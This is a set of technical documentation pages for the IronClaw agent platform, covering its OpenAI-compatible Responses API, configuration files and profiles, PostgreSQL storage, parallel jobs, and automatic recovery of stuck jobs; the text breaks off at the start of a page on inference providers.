# Responses API Source: https://docs.ironclaw.com/api/responses OpenAI-compatible Responses endpoint backed by the full IronClaw agent loop IronClaw exposes an OpenAI-compatible Responses API. Unlike a raw LLM passthrough, requests route through the full agent loop, so callers get tools, memory, safety, and server-side conversation state via a standard wire format. ``` POST /api/v1/responses GET /api/v1/responses/{id} ``` The legacy `/v1/responses` path is still accepted as an alias for clients pinned to it. ## When to use this vs. the Chat Completions proxy | Endpoint | Behavior | | - | - | | `/api/v1/responses` | Routes through the agent. The model can call IronClaw tools (file, web, memory, MCP, extensions), retain conversation state via `previous_response_id`, and pause for caller-supplied tools. | | `/v1/chat/completions` | Raw LLM proxy. No tools, no memory, no agent loop. Use it when you only need a model call. | If you want IronClaw's capabilities behind an OpenAI-shaped wire contract, this is the endpoint. *** ## Authentication Every protected route requires a bearer token in the `Authorization` header: ``` Authorization: Bearer ``` You have two options: The bearer token provisioned during [onboarding](/onboard) authenticates both the web interface and this API. It is written to `webui-token` in your IronClaw home: ```bash theme={null} cat ~/.ironclaw/reborn/webui-token ``` Supply your own instead by setting `IRONCLAW_REBORN_WEBUI_TOKEN` before starting `serve`. ```bash theme={null} export IRONCLAW_REBORN_WEBUI_TOKEN="your-secure-token" ``` This token carries operator privileges, including configuration changes. For anything beyond a single-user instance, use per-user tokens instead. In a multi-user deployment, an admin creates each user through the admin surface, which mints that user's API bearer exactly once: ```bash theme={null} curl -X POST https://your-host/api/webchat/v2/admin/users \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ -d '{"email":"alice@example.com","display_name":"Alice","role":"member"}' ``` `role` is required — one of `owner`, `admin`, or `member`. `owner` and `admin` clear the admin authorization boundary; `member` does not. `email` and `display_name` are optional. The token is top-level; the user's identity is nested under `user`: ```json theme={null} { "user": { "user_id": "...", "email": "alice@example.com", "status": "active", "role": "member", "created_at": "2026-07-27T18:00:00Z", "updated_at": "2026-07-27T18:00:00Z" }, "api_token": "" } ``` Store the `api_token` when it is returned; it cannot be retrieved again. These tokens are scoped to one user and carry user identity only — they do not inherit operator configuration privileges. Users signed in through Google or GitHub SSO receive an equivalent session bearer. See [Web Interface](/using/webui#single-sign-on). A missing or wrong token returns `401`. Chat send endpoints (including this one) are rate-limited to 30 requests per 60 seconds per user. *** ## Quickstart The simplest request, with no session state and no tools: ```bash theme={null} curl -X POST https://your-host/api/v1/responses \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "model": "default", "input": "What time is it?" }' ``` Response: ```json theme={null} { "id": "resp_<64hex>", "object": "response", "created_at": 1715846400, "model": "default", "status": "completed", "output": [ { "type": "message", "id": "item_...", "role": "assistant", "content": [ { "type": "output_text", "text": "It is 14:23 UTC." } ] } ], "usage": { "input_tokens": 42, "output_tokens": 11, "total_tokens": 53 } } ``` The OpenAI Python and TypeScript SDKs work as-is. Point `base_url` at `https://your-host/api/v1` (or `/v1` for the alias). ```python theme={null} from openai import OpenAI client = OpenAI(base_url="https://your-host/api/v1", api_key=TOKEN) resp = client.responses.create(model="default", input="What time is it?") print(resp.output_text) ``` *** ## Request fields ```json theme={null} { "input": "...", "model": "default", "instructions": null, "previous_response_id": null, "stream": false, "tools": null, "x_context": null } ``` | Field | Required | Description | | - | - | - | | `input` | yes | A string, or an array of `message` / `function_call_output` items. See [External tools](#external-tools) for the array form. | | `model` | yes | Any well-formed model name: non-empty, no surrounding whitespace, no control characters, at most 256 bytes. Carried through as a server-side routing hint and echoed back in the create response; retrieval and cancel responses report the server placeholder `"reborn"` instead of the submitted name. Provider and model selection is configured via settings. `"default"` is the conventional placeholder. | | `instructions` | no | System/developer instructions. Injected ahead of `input` as an `` block and stored as part of the persisted user message. See [Per-request instructions](#per-request-instructions) for the IronClaw-specific replay caveat. | | `previous_response_id` | no | The `id` from a prior response. Resumes the same thread; see [Session continuity](#session-continuity). | | `metadata` | no | Accepted and ignored — parsed as part of the request but not persisted or echoed back. | | `stream` | no | `true` for SSE; `false` (default) for a single JSON response. | | `temperature` | no | Sampling temperature, `0.0`–`2.0` inclusive; values outside the range are rejected with `400`. Validated and carried in the submitted turn payload; it is not currently applied as a provider sampling parameter. | | `tools` | no | Caller-supplied function tools. See [External tools](#external-tools). An empty `tools: []` is treated as omitted. | | `tool_choice` | no | Accepted and ignored — there is no per-request tool-choice surface. | | `x_context` | no | IronClaw extension. Structured JSON context (≤ 10 KB) prepended as ``. The alias `context` is also accepted but may collide with future OpenAI fields. Prefer `x_context`. | These are rejected with `400` so callers know they were not honoured: * `temperature` outside `0.0`–`2.0` * A malformed `model` (empty, surrounding whitespace, over 256 bytes, or control characters) * `x_context` larger than 10 KB Other OpenAI request fields not listed above (for example `max_output_tokens`) are **accepted and ignored**: the endpoint deliberately tolerates unknown fields so newer SDK payloads keep working, but unlisted fields have no effect. External-tools support is always wired on a standard `ironclaw serve` deployment, which is why `tools` and `tool_choice` are accepted above. A custom composition that mounts the Responses routes without external-tool wiring instead rejects non-empty `tools` and any `tool_choice` with `400` naming the field. *** ## Session continuity Each response embeds its thread UUID in the `id`. Pass the previous `id` back as `previous_response_id` to continue the same conversation: ```json theme={null} { "model": "default", "input": "What did I just ask?", "previous_response_id": "resp_abc...xyz" } ``` IronClaw replays the thread's history from the conversation store and runs the new turn against it. There is no client-side state to manage. Threads are user-scoped, so a token belonging to a different user cannot resume someone else's thread (the lookup returns `404`). Each POST mints a fresh `response_uuid`, so two turns on the same thread produce different `id`s. ### Retrieving a past response ```bash theme={null} curl https://your-host/api/v1/responses/$ID \ -H "Authorization: Bearer $TOKEN" ``` Returns the output items reconstructed from the stored conversation. The `usage` field is read best-effort from persisted run state (token totals plus USD cost); it can be zero when the run reported no usage. *** ## Streaming Set `"stream": true` to receive Server-Sent Events: ```bash theme={null} curl -N -X POST https://your-host/api/v1/responses \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"model":"default","input":"Summarize the news.","stream":true}' ``` Events follow the OpenAI Responses streaming format. The SSE `event:` field matches the JSON `type`: | `event:` | `type` | Payload | | - | - | - | | `response.created` | `response.created` | Initial in-progress shell. | | `response.output_item.added` | `response.output_item.added` | A new `message` or `function_call` item began. | | `response.output_text.delta` | `response.output_text.delta` | Token delta inside an `output_text` content block. | | `response.output_item.done` | `response.output_item.done` | An item is finalised. | | `response.completed` | `response.completed` | Terminal success. | | `response.failed` | `response.failed` | Terminal failure (turn-level error). | A keepalive frame fires every 15 seconds to prevent intermediate proxies from closing idle connections. The non-streaming path has a 120-second turn timeout. Long-running tool work (sandbox jobs, multi-step agentic flows) should use `stream: true` so the connection stays responsive. *** ## External tools You can register your own function tools per request. The agent treats them as first-class actions alongside built-in tools and pauses execution when it wants to call one. Your client executes the call and feeds the result back on the next request. This is a function-calling round-trip, not a prompt-level convention. The wire shape matches the OpenAI Responses API spec. ### Define tools ```json theme={null} { "model": "default", "input": "What is the weather in NYC?", "tools": [ { "type": "function", "name": "lookup_weather", "description": "Return the current weather for a city.", "parameters": { "type": "object", "properties": { "city": { "type": "string", "description": "City name" } }, "required": ["city"] } } ] } ``` Constraints (validated up-front, `400` on violation): * Only `type: "function"` is accepted. `web_search`, `file_search`, `code_interpreter`, etc. are rejected. IronClaw routes those through its own registry, not caller-provided definitions. * Names: `^[A-Za-z0-9_-]{1,64}$`, unique within the request. * Names must not shadow a registered IronClaw action (built-in tool, extension tool, or an agent capability like `mission_*`, `skill_*`, `memory_*`). Shadowing is rejected to prevent confused-deputy behavior. * The entire `tools[]` payload caps at 16 KiB of canonical JSON. ### The round trip When the model calls one of your tools, the response completes with a `function_call` output item and the thread sits in `Waiting`: ```json theme={null} { "id": "resp_...", "status": "completed", "output": [ { "type": "function_call", "id": "item_...", "call_id": "call_ext_lookup_1", "name": "lookup_weather", "arguments": "{\"city\":\"NYC\"}" } ] } ``` The model may emit prose before the call. Any pre-call text is flushed as a leading `message` item so you see both pieces in order. Execute the call locally, then POST a follow-up with a `function_call_output` item. Include `previous_response_id` so the resume targets the same thread: ```json theme={null} { "model": "default", "previous_response_id": "resp_...", "input": [ { "type": "function_call_output", "call_id": "call_ext_lookup_1", "output": "{\"temp_f\":72,\"conditions\":\"sunny\"}" } ], "tools": [ /* same tools array */ ] } ``` The agent resumes, the LLM sees your tool result, and the final answer comes back as a normal `message` output item. Pass the same `tools[]` on the resume request. The catalog is per-thread; passing the definitions keeps the tool available for any follow-up calls the model makes. ### Resume validation The resume request must satisfy the bridge: * A `function_call_output` item without a live external-tool gate on this thread returns `400`. * A `function_call_output` item whose `call_id` does not match the pending gate returns `400`. * A `function_call_output` item with an empty `call_id` or missing `output` returns `400`. * A resume request that omits `previous_response_id` returns `400`. * A resume `input` array must contain **only** `function_call_output` items — mixing in a `message` item returns `400`. * If the thread is paused on an unrelated gate (OAuth, approval, pairing), resolve that first. To ask a follow-up question alongside a tool result, complete the resume first, then send the new `message` as its own request with `previous_response_id` pointing at the resumed response. ### Multi-call batching The engine pauses on the **first** external tool call in an assistant turn. If the model wants to invoke `tool_a` and `tool_b` together, only `tool_a` surfaces on the first response. After you resume, `tool_b` is emitted on the next turn. This is a known limitation; OpenAI-style "post all results together" is a follow-up. ### Streaming flow With `stream: true`, the external-tool flow looks like: 1. `response.created` 2. Optional `response.output_text.delta` events for any leading prose. 3. `response.output_item.added` with the `function_call` item. 4. `response.output_item.done` with the same item. 5. `response.completed`. The stream closes after `response.completed`. Send the resume as a fresh POST with `previous_response_id`. *** ## Structured context (`x_context`) For integrations that need to pass structured state alongside the user message (notification approval, webhook payload, environment hints), use `x_context`: ```json theme={null} { "model": "default", "input": "Process the latest webhook.", "x_context": { "webhook": { "source": "stripe", "event": "invoice.paid", "amount_cents": 4200 } } } ``` The handler renders it as a `` block ahead of the user message. Total serialized size caps at 10 KB. Pass a flat `{key: {object}}` structure; deeper nesting is serialized as raw JSON. `x_context` is an IronClaw extension and is not part of the OpenAI Responses API spec. *** ## Per-request instructions Use `instructions` to inject a one-turn system/developer message: ```json theme={null} { "model": "default", "input": "Summarize this.", "instructions": "Respond in three bullet points, no preamble." } ``` **IronClaw caveat — diverges from the OpenAI spec.** The OpenAI Responses API contract is that `instructions` apply only to the current turn and are not carried by `previous_response_id`. IronClaw currently prepends the `` block into the user message and persists it as part of the conversation, so it *is* visible on later turns when history is replayed. Until the handler stores instructions out-of-band, treat them as sticky for the thread and re-send (or override) them explicitly on each turn that needs different behaviour. The agent's persistent identity files (`AGENTS.md`, `SOUL.md`, `USER.md`, `IDENTITY.md`) come from workspace memory and are not affected by this field. *** ## Errors Errors from the Responses handler use the OpenAI envelope: ```json theme={null} { "error": { "message": "function_call_output items must include a non-empty `call_id` field", "type": "invalid_request_error", "code": null } } ``` Common codes: | Status | `type` | When | | - | - | - | | `400` | `invalid_request_error` | Schema, validation, shadowed tool name, missing pending gate, unsupported field. | | `429` | `rate_limit_error` | More than 30 requests in 60 seconds for this user. | | `503` | `server_error` | Agent loop not started, database unavailable, or connection cap reached. | A turn that completes but fails mid-flight (the model errored, a required tool raised) returns `200` with `"status": "failed"` and a populated `error` field. Inspect `status` before reading `output`. Two cases do **not** use the JSON envelope and need separate handling: * **`401` Unauthorized** comes from the gateway auth middleware before the request reaches the handler, and the body is a plain-text string (`Invalid or missing auth token`). Same for `403` (`Forbidden` for OIDC domain violations) and the `503` (`Database unavailable`) emitted by the middleware when the token store is down. * **`GET /api/v1/responses/{id}`** returns `404` (still JSON-enveloped) when the response id is unknown or the thread does not belong to the authenticated user. `POST` with a foreign `previous_response_id` does **not** return `404`; the handler only decodes the UUID and dispatches into the agent, where the cross-user resume surfaces as a turn-level failure rather than an HTTP error. Treat cross-user resume as undefined and avoid relying on the response shape. The Responses API does **not** support interactive approvals or authentication gates in the response stream. If the agent hits a tool that requires user approval (e.g. shell with a destructive command) or an extension OAuth flow, the turn fails with a clear error directing you to resolve the gate via the web UI or a different channel. *** ## SDK usage The OpenAI SDKs are the easiest way to use this endpoint. Point them at IronClaw and they "just work": ```python Python theme={null} from openai import OpenAI client = OpenAI( base_url="https://your-host/api/v1", api_key="", ) # Basic resp = client.responses.create(model="default", input="Hello.") print(resp.output_text) # With session continuity follow_up = client.responses.create( model="default", input="What did I just say?", previous_response_id=resp.id, ) # With caller tools import json resp = client.responses.create( model="default", input="What is the weather in NYC?", tools=[ { "type": "function", "name": "lookup_weather", "description": "Return current weather.", "parameters": { "type": "object", "properties": {"city": {"type": "string"}}, "required": ["city"], }, } ], ) # Inspect the function_call item, run it locally, resume. call = next(item for item in resp.output if item.type == "function_call") result = {"temp_f": 72, "conditions": "sunny"} # your code final = client.responses.create( model="default", previous_response_id=resp.id, input=[ { "type": "function_call_output", "call_id": call.call_id, "output": json.dumps(result), } ], tools=[ ... ], # same definitions ) print(final.output_text) ``` ```typescript TypeScript theme={null} import OpenAI from "openai"; const client = new OpenAI({ baseURL: "https://your-host/api/v1", apiKey: process.env.IRONCLAW_TOKEN, }); const resp = await client.responses.create({ model: "default", input: "What is the weather in NYC?", tools: [ { type: "function", name: "lookup_weather", description: "Return current weather.", parameters: { type: "object", properties: { city: { type: "string" } }, required: ["city"], }, }, ], }); const call = resp.output.find((it) => it.type === "function_call"); if (call) { const result = { temp_f: 72, conditions: "sunny" }; const final = await client.responses.create({ model: "default", previous_response_id: resp.id, input: [ { type: "function_call_output", call_id: call.call_id, output: JSON.stringify(result), }, ], tools: [ /* same definitions */ ], }); console.log(final.output_text); } ``` *** ## Limits and quirks * **Rate limit**: 30 requests per 60 seconds per user (shared with `/api/chat/send`). * **Body size**: 14 MiB request limit at the gateway. * **Turn timeout (non-streaming)**: 30 seconds. Use `stream: true` for long-running work. * **Tool batching**: one external-tool call per round trip. The engine resumes the next call on the next turn. * **Approvals and auth gates**: not surfaced over the Responses API. Resolve them via the web UI before retrying. * **`tool_choice`**: accepted and ignored — there is no per-request tool-choice surface. `max_output_tokens` and other unlisted OpenAI fields are likewise accepted and ignored. * **`model`**: required, any well-formed name (≤ 256 bytes). It is a routing hint echoed back in the create response; `GET` and cancel responses report the server placeholder `"reborn"`. Provider and model selection is server-side via settings. * **Token usage on retrieval**: `GET /api/v1/responses/{id}` reads `usage` best-effort from persisted run state (token totals plus USD cost); it can be zero when the run reported no usage. *** ## Related * [Inference Providers](/capabilities/llm-providers) — configure the model that backs `"default"`. * [Configuration](/capabilities/configuration) — configuration file layout, profiles, and environment overrides. * [Sandboxed Tools](/capabilities/sandboxed-tools) — how IronClaw's built-in tools execute when the agent calls them. * [MCP](/extensions/mcp) — connect Model Context Protocol servers to extend the agent's tool surface server-side instead of supplying caller tools per-request. # Configuration Source: https://docs.ironclaw.com/capabilities/configuration How IronClaw is configured and where each setting lives IronClaw is configured by a file in your IronClaw home directory, not by a long list of environment variables. Environment variables exist to override individual values and to carry secrets. *** ## Where Configuration Lives Everything lives under `~/.ironclaw/reborn`. Override the location with `IRONCLAW_REBORN_HOME`. ```bash theme={null} ironclaw config path ``` ``` reborn_home: ~/.ironclaw/reborn home_source: default profile: local-dev config_file: ~/.ironclaw/reborn/config.toml providers: ~/.ironclaw/reborn/providers.json ``` Two files matter, and both are optional — delete them and IronClaw falls back to built-in defaults. | File | Layer | Contents | | - | - | - | | `config.toml` | Selection | Which profile, identity, model slot, and runtime settings to use | | `providers.json` | Catalog | Which inference providers this install knows about | `config.toml` selects *by id* from the catalog `providers.json` defines. The compiled-in provider defaults are appended with your entries, and later entries override earlier ones by id. *** ## Precedence Each field resolves through four layers, later winning over earlier: ``` compiled defaults < config.toml < environment variables < CLI flags ``` So `ironclaw serve --port 3100` beats the port in `config.toml`, which beats the built-in default of `3000`. *** ## Editing Configuration Generate a commented starter file: ```bash theme={null} ironclaw config init ``` It refuses to overwrite existing files unless you pass `--force`. Read and write individual keys with dot-separated paths: ```bash theme={null} ironclaw config list ironclaw config get llm.default.provider_id ``` `list` and `get` read every key. `set` is deliberately narrower — it accepts only the keys that have a routing destination: | Key | Destination | | - | - | | `.api_key` | Encrypted secret store (prompts, hidden) | | `google.client_id`, `google.redirect_uri` | `config.toml` | | `google.client_secret` | Encrypted secret store (prompts, hidden) | | `webui.token --rotate` | Web token file | ```bash theme={null} ironclaw config set google.client_id ``` Everything else — `runner.*`, `webui.listen_port`, `budget.*`, `[llm.default]` — is edited in `config.toml` directly. `config set` rejects an unsupported key rather than silently doing nothing. Secret-destination keys (`.api_key`, `google.client_secret`) reject a value on the command line and always prompt with input hidden, so the secret never reaches your shell history. ### Applying a Change `config set` never restarts anything. It writes the value and prints the step you still have to run: ``` to apply: ironclaw service restart ``` Until you do, a running instance keeps serving the old value. `ironclaw service` commands do **not** work on a NEAR AI hosted instance — there is no user service manager for them to talk to, so `service restart` fails rather than restarting anything. SSH in only to run the `ironclaw config` commands, then restart the agent from the [Agent Dashboard](https://agent.near.ai/). That is the only way to restart a hosted instance. ```bash theme={null} ironclaw service restart ``` Or stop and restart `ironclaw serve` if you're running it in the foreground. *** ## Secrets Secrets are never stored in `config.toml`. Reference them by environment variable *name*: ```toml theme={null} [llm.default] provider_id = "anthropic" model = "claude-sonnet-4-20250514" api_key_env = "ANTHROPIC_API_KEY" ``` Pasting a secret value where a variable name is expected is rejected at parse time, not silently accepted. `api_key_env = "sk-ant-..."` will fail to load. Your master encryption key lives in the OS keychain. On a headless host, supply it through `IRONCLAW_REBORN_SECRET_MASTER_KEY`. See [Security](/security). *** ## Profiles A profile selects a composition of runtime behavior — how capabilities are mediated, what storage is expected, and how processes are isolated. ```bash theme={null} ironclaw profile list ``` | Profile | Use | | - | - | | `local-dev` | Default. Single user on your own machine | | `local-dev-yolo` | Local development with host filesystem access; `serve` requires `--confirm-host-access` | | `hosted-single-tenant` | One tenant served over the network, backed by PostgreSQL | | `hosted-single-tenant-volume` | One tenant served over the network, keeping local embedded storage on a persistent volume. Does not accept `[storage]` | | `production` | Multi-user production deployment | | `migration-dry-run` | Migration rehearsal | Set it in `config.toml` under `[boot]`, or per-invocation with `IRONCLAW_REBORN_PROFILE`. Profile choice is a security boundary, not a preset. A deployment that serves more than one user must not run a profile with single-user host semantics. See [Security](/security). *** ## Configuration Reference Run `ironclaw config list` to see every key with its current value. The main groups: ```toml theme={null} [boot] profile = "local-dev" [identity] default_owner = "reborn-cli" ``` `identity.tenant` and `identity.default_agent` are optional overrides for the tenant and agent ids the runtime operates under. Leave them unset unless you know you need a different scope — a stale value here silently moves your work into another identity scope. `identity.default_project` is consumed by `serve` but not by `run` or `repl`; those two subcommands fail on startup rather than silently dropping it. ```toml theme={null} [llm.default] provider_id = "nearai" model = "deepseek-ai/DeepSeek-V4-Flash" api_key_env = "NEARAI_API_KEY" ``` No slot is configured by default, so IronClaw falls back to provider environment variables until you set one. Uncommenting only the `[llm.default]` header with no fields does **not** fall through to the environment — an empty slot is still present, and resolution fails with a missing-provider-id error. Always set `provider_id` together with the header. See [Inference Providers](/capabilities/llm-providers). ```toml theme={null} [storage] backend = "postgres" url_env = "IRONCLAW_REBORN_POSTGRES_URL" secret_master_key_env = "IRONCLAW_REBORN_SECRET_MASTER_KEY" pool_max_size = 8 ``` The database URL is environment-only; this file may name the variable but must never contain the URL itself. See [Storage](/capabilities/database). ```toml theme={null} [runner] heartbeat_interval_secs = 15 poll_interval_ms = 200 ``` Also `worker_count`, `max_concurrent_runs_per_user`, `max_concurrent_conversation_runs`, and `max_concurrent_trigger_runs`. Those four have `IRONCLAW_REBORN_RUNNER_*` environment overrides; `heartbeat_interval_secs` and `poll_interval_ms` are file-only. Caps agent spend so a runaway loop can't run up a bill: * `budget.user_daily_usd`, `budget.project_daily_usd` * `budget.warn_at`, `budget.pause_at` * `budget.heartbeat_per_tick_usd`, `budget.mission_per_tick_usd` * `budget.routine_standard_usd`, `budget.routine_lightweight_usd` * `budget.background_job_default_usd`, `budget.overestimate_factor`, `budget.default_tz` Controls how scheduled and event-driven work is picked up: `enabled`, `poll_interval_secs`, `fires_per_tick`, `max_concurrent_fires_per_trigger`, `startup_jitter_max_secs`, `tick_jitter_max_secs`. See [Routines](/capabilities/routines/cron). Channels are not configured in this file. Slack and Telegram are turned on by installing their extension in the web interface and completing setup — there is no `[slack]` or `[telegram]` section, and no key that enables a channel. The retired `[slack]` setup keys are rejected outright: a config file that still carries them makes `ironclaw serve` refuse to start, with a migration pointer. See [Channels](/channels/overview). `google.*` carries the OAuth client id, redirect URI, and hosted-domain hint. Set it either from the web interface or with `ironclaw config set google.client_id` / `google.client_secret` / `google.redirect_uri` — both paths are supported. ```toml theme={null} [skills] regex_activation_enabled = true ``` When false, regex activation criteria no longer auto-load full skill context. Keyword and tag activation, and explicit `$skill-name` mentions, still work. See [Skills](/capabilities/skills). *** ## Environment Variables Overrides are namespaced `IRONCLAW_REBORN_*`. The ones you're most likely to need: | Variable | Purpose | | - | - | | `IRONCLAW_REBORN_HOME` | Where configuration and state live | | `IRONCLAW_REBORN_PROFILE` | Boot profile | | `IRONCLAW_REBORN_LOG` | Log level, for example `debug` | | `IRONCLAW_REBORN_POSTGRES_URL` | Database URL when using the Postgres backend | | `IRONCLAW_REBORN_SECRET_MASTER_KEY` | Master encryption key on hosts without a keychain | | `IRONCLAW_REBORN_WEBUI_TOKEN` | Bearer token for the web interface | | `IRONCLAW_REBORN_WEBUI_BASE_URL` | Canonical URL when running behind a proxy | Provider API keys use each provider's own variable name — `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, `NEARAI_API_KEY`, and so on. *** ## Checking Your Configuration ```bash theme={null} ironclaw doctor ``` Reports the resolved home and profile, whether each configuration file was found, and whether each driver initialized — without creating any state. # Storage Source: https://docs.ironclaw.com/capabilities/database Where IronClaw keeps its data, and when to move to PostgreSQL IronClaw stores conversations, events, memory, and runtime state locally by default. No database server is required to get started. Served and multi-user deployments move that state to PostgreSQL. *** ## Local Storage Under the default `local-dev` profile, IronClaw keeps state in embedded database files inside your IronClaw home: ```bash theme={null} ls ~/.ironclaw/reborn ``` Nothing to install, nothing to configure. Back it up by copying the directory while IronClaw is stopped. This is the right choice for personal use on your own machine. *** ## PostgreSQL Move to PostgreSQL when you serve the web interface to more than one person, run on a host where local disk is ephemeral, or want a database you can back up and replicate independently. PostgreSQL 15 or later. Managed providers work; so does a local container: ```bash theme={null} docker run -d --name ironclaw-pg \ -e POSTGRES_USER=ironclaw \ -e POSTGRES_PASSWORD=ironclaw \ -e POSTGRES_DB=ironclaw \ -p 127.0.0.1:5432:5432 \ pgvector/pgvector:pg16 ``` The `pgvector` image is used so embeddings-backed search works. See [Memory](/capabilities/memory/memory). Do this **before** you add the `[storage]` block. Only three profiles wire it: `hosted-single-tenant`, `production`, and `migration-dry-run`. Under any other profile a `[storage]` block is a startup failure, not a warning: ``` config file section(s) [storage] are parsed but not wired in this runtime slice ``` ```toml theme={null} [boot] profile = "hosted-single-tenant" ``` Use `production` for a multi-user deployment. See [Configuration](/capabilities/configuration#profiles). `hosted-single-tenant-volume` does **not** accept `[storage]`, despite the name. It is a volume-backed variant of local embedded storage, not a PostgreSQL profile. Pairing it with a `[storage]` block leaves the instance unable to start. Put the URL in the environment and name the variable in your configuration: ```bash theme={null} export IRONCLAW_REBORN_POSTGRES_URL="postgres://ironclaw:ironclaw@127.0.0.1:5432/ironclaw" ``` ```toml theme={null} [storage] backend = "postgres" url_env = "IRONCLAW_REBORN_POSTGRES_URL" secret_master_key_env = "IRONCLAW_REBORN_SECRET_MASTER_KEY" pool_max_size = 8 ``` The URL is environment-only. `config.toml` may name the variable that holds it, but must never contain the URL itself — it carries the database password. ```bash theme={null} ironclaw doctor ``` ### Connection Security Managed remote PostgreSQL must use TLS. Append `sslmode=require` to the URL: ``` postgres://user:password@db.example.com:5432/ironclaw?sslmode=require ``` ### Pool Sizing `storage.pool_max_size` defaults to 8. Keep it below your PostgreSQL server's connection limit — or your managed provider's session-pool cap — after reserving capacity for restarts and operator sessions. Override it with `IRONCLAW_REBORN_POSTGRES_POOL_MAX_SIZE`. The process journal opens **2 additional connections** of its own, outside this setting. A running turn heartbeats through the journal to keep its lease alive, and when that heartbeat shared the pool above, one turn's read burst could starve it until the lease expired and the run failed. Budget `pool_max_size + 2` connections per running instance. *** ## Secrets and the Master Key Credentials are encrypted before they reach whichever backend you're using. The master key that protects them lives in the OS keychain, not the database. On a headless host with no keychain, provide it explicitly: ```bash theme={null} export IRONCLAW_REBORN_SECRET_MASTER_KEY=... ``` Losing the master key makes every stored credential unrecoverable. Back it up somewhere other than the machine running IronClaw. See [Security](/security). *** ## Choosing | | Local (default) | PostgreSQL | | - | - | - | | Setup | None | Provision a server | | Best for | Personal use, one machine | Served, multi-user, production | | Backup | Copy the home directory | `pg_dump`, replication | | Profile | `local-dev` | `hosted-single-tenant`, `production` | # Jobs & Parallel Execution Source: https://docs.ironclaw.com/capabilities/jobs/jobs Parallel job scheduling and the job state machine Every unit of work in IronClaw is a **job**. Jobs run in parallel, each with isolated context, and each progressing through a defined state machine until they complete, fail, or get recovered. *** ## Configuration ```bash theme={null} # Maximum parallel jobs MAX_PARALLEL_JOBS=5 # Sandbox timeout (affects when jobs are considered stuck) SANDBOX_TIMEOUT_SECS=1800 ``` *** ## Job State Machine ``` Pending ↓ InProgress ──────────────┬──► Completed ↑ │ │ (self-repair) └──► Failed │ Stuck ────────────────────► Failed (if unrecoverable) ``` ### States | State | Description | Next States | | - | - | - | | **Pending** | Job created, queued for a worker slot | InProgress | | **InProgress** | Worker actively running — LLM calls, tool execution | Completed, Failed, Stuck | | **Completed** | Job finished successfully | — (terminal) | | **Failed** | Unrecoverable error or explicit cancellation | — (terminal) | | **Stuck** | No progress detected within timeout window | InProgress (recovery), Failed | ### Transitions A job enters **Stuck** when the self-repair system detects it has been InProgress with no activity for longer than the configured timeout. The system then attempts recovery by re-entering InProgress with a fresh worker. If recovery fails repeatedly, the job transitions to **Failed**. *** ## Parallel Execution IronClaw runs multiple jobs concurrently. Each job has its own isolated context — memory, tool call history, and conversation state. | Config Variable | Default | Description | | - | - | - | | `MAX_PARALLEL_JOBS` | `5` | Maximum concurrent jobs per instance | When all job slots are occupied, new jobs queue as **Pending** until a slot opens. The scheduler dispatches queued jobs in order of creation time. Increasing `MAX_PARALLEL_JOBS` increases LLM API concurrency. Set it according to your API rate limits and available system resources. *** ## Job Tools Four built-in tools let the agent manage jobs at runtime: | Tool | Description | | - | - | | `create_job` | Create a new job with a given description and optional context | | `list_jobs` | List all active jobs with their current state and metadata | | `job_status` | Get detailed status for a specific job by ID | | `cancel_job` | Cancel an InProgress or Pending job | # Self-Repair & Stuck Jobs Source: https://docs.ironclaw.com/capabilities/jobs/self-repair Automatic detection and recovery of stuck jobs IronClaw monitors all running jobs and automatically recovers those that stop making progress — without requiring human intervention. *** ## What Is a Stuck Job? A job is considered **stuck** when it has been in the **InProgress** state for longer than the configured timeout without producing any output, tool calls, or state updates. Common causes: * LLM provider timeout or rate limit with no retry budget remaining * Tool call hanging on an unresponsive external service * Container resource exhaustion (OOM, CPU throttle) * Network partition between the agent and a sandboxed worker *** ## Configuration ```bash theme={null} # Enable self-repair (default: true) SELF_REPAIR_ENABLED=true # How long before a job is considered stuck (seconds) SELF_REPAIR_TIMEOUT_SECS=300 # Maximum recovery attempts before marking job as Failed SELF_REPAIR_MAX_RETRIES=3 # How often the monitor checks for stuck jobs (seconds) SELF_REPAIR_CHECK_INTERVAL_SECS=60 ``` `SELF_REPAIR_TIMEOUT_SECS` should be set lower than `SANDBOX_TIMEOUT_SECS`. The sandbox enforces a hard kill; self-repair is a soft recovery that runs before the hard kill triggers. *** ## Detection The self-repair system runs as a background task alongside the scheduler. It periodically scans all InProgress jobs and compares the last-activity timestamp against the stuck threshold. ``` [Self-Repair Monitor] ↓ For each InProgress job: last_activity > SELF_REPAIR_TIMEOUT? ↓ yes Transition: InProgress → Stuck ↓ Log failure to tool_failures table ↓ Attempt recovery ``` The `tool_failures` table accumulates failure records per job and per tool. This data is used to assess whether recovery is worth attempting again or whether the job should be moved directly to **Failed**. *** ## Recovery Flow When a stuck job is detected, the self-repair system attempts to restart it: The job state changes from InProgress to Stuck. The event is logged with the failure reason and timestamp. The system checks the `tool_failures` table for this job. If the job has exceeded the maximum retry count, it is transitioned directly to **Failed** and recovery is skipped. If retries remain, the job transitions back to InProgress. A new worker picks it up and resumes execution from the last saved checkpoint. If the job completes successfully, the failure records are cleared. If it gets stuck again, the cycle repeats until the retry limit is reached, at which point the job fails permanently. *** ### State Diagram ``` InProgress ↓ (timeout detected) Stuck ──────────────────────► Failed (retry limit reached) ↓ (retry available) InProgress ↓ Completed (or back to Stuck) ``` *** ## Tool Failure Tracking Every time a tool fails during job execution, the event is recorded: | Field | Description | | - | - | | `job_id` | The job that experienced the failure | | `tool_name` | Which tool failed | | `error` | Error message or failure reason | | `occurred_at` | Timestamp of the failure | This history is available to the worker on retry, allowing it to avoid repeating the same failing tool call or to select an alternative approach. *** ## Observability Stuck and recovered jobs are visible in: * **Job history** — The web gateway's job list shows state transitions with timestamps * **Logs** — `RUST_LOG=ironclaw::agent::self_repair=debug` for detailed repair events * **`list_jobs` tool** — Shows current state including Stuck jobs ## Troubleshooting * Check `RUST_LOG=ironclaw::agent::self_repair=debug` for failure reasons * Inspect tool failure records via `job_status` tool * Consider increasing `SELF_REPAIR_TIMEOUT_SECS` if the job is legitimately long-running * Check network connectivity to LLM provider and external services * The tool failure history may reveal a specific tool that always fails * Check whether the external service the tool depends on is available * Review sandbox logs if the job runs in a container (`SANDBOX_ENABLED=true`) * Verify `SELF_REPAIR_ENABLED=true` * Check that `SELF_REPAIR_TIMEOUT_SECS` is not set too high * Confirm the self-repair monitor is running: look for `self_repair` in startup logs # Inference Providers Source: https://docs.ironclaw.com/capabilities/llm-providers IronClaw readily 